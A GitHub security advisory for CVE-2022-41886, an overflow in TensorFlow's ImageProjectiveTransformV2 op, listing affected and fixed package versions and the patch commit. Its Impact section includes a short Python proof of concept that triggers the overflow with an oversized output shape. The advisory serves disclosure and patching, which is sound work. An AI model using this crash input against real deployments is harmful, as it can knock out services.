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GHSA-54pp-c6pp-7fpx

Overflow in `ImageProjectiveTransformV2`

Source: GitHub Advisory Database (reviewed) Moderate CVE-2022-41886

Packages

EcosystemPackageAffectedFixed in
PyPI tensorflow < 2.8.4 2.8.4
PyPI tensorflow >= 2.9.0, < 2.9.3 2.9.3
PyPI tensorflow >= 2.10.0, < 2.10.1 2.10.1
PyPI tensorflow-cpu < 2.8.4 2.8.4
PyPI tensorflow-gpu < 2.8.4 2.8.4
PyPI tensorflow-cpu >= 2.9.0, < 2.9.3 2.9.3
PyPI tensorflow-gpu >= 2.9.0, < 2.9.3 2.9.3
PyPI tensorflow-cpu >= 2.10.0, < 2.10.1 2.10.1
PyPI tensorflow-gpu >= 2.10.0, < 2.10.1 2.10.1

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact When [`tf.raw_ops.ImageProjectiveTransformV2`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc) is given a large output shape, it overflows. ```python import tensorflow as tf interpolation = "BILINEAR" fill_mode = "REFLECT" images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32) transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32) output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32) tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode) ``` ### Patches We have patched the issue in GitHub commit [8faa6ea692985dbe6ce10e1a3168e0bd60a723ba](https://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

References

External links from the advisory. They lead to third-party sites.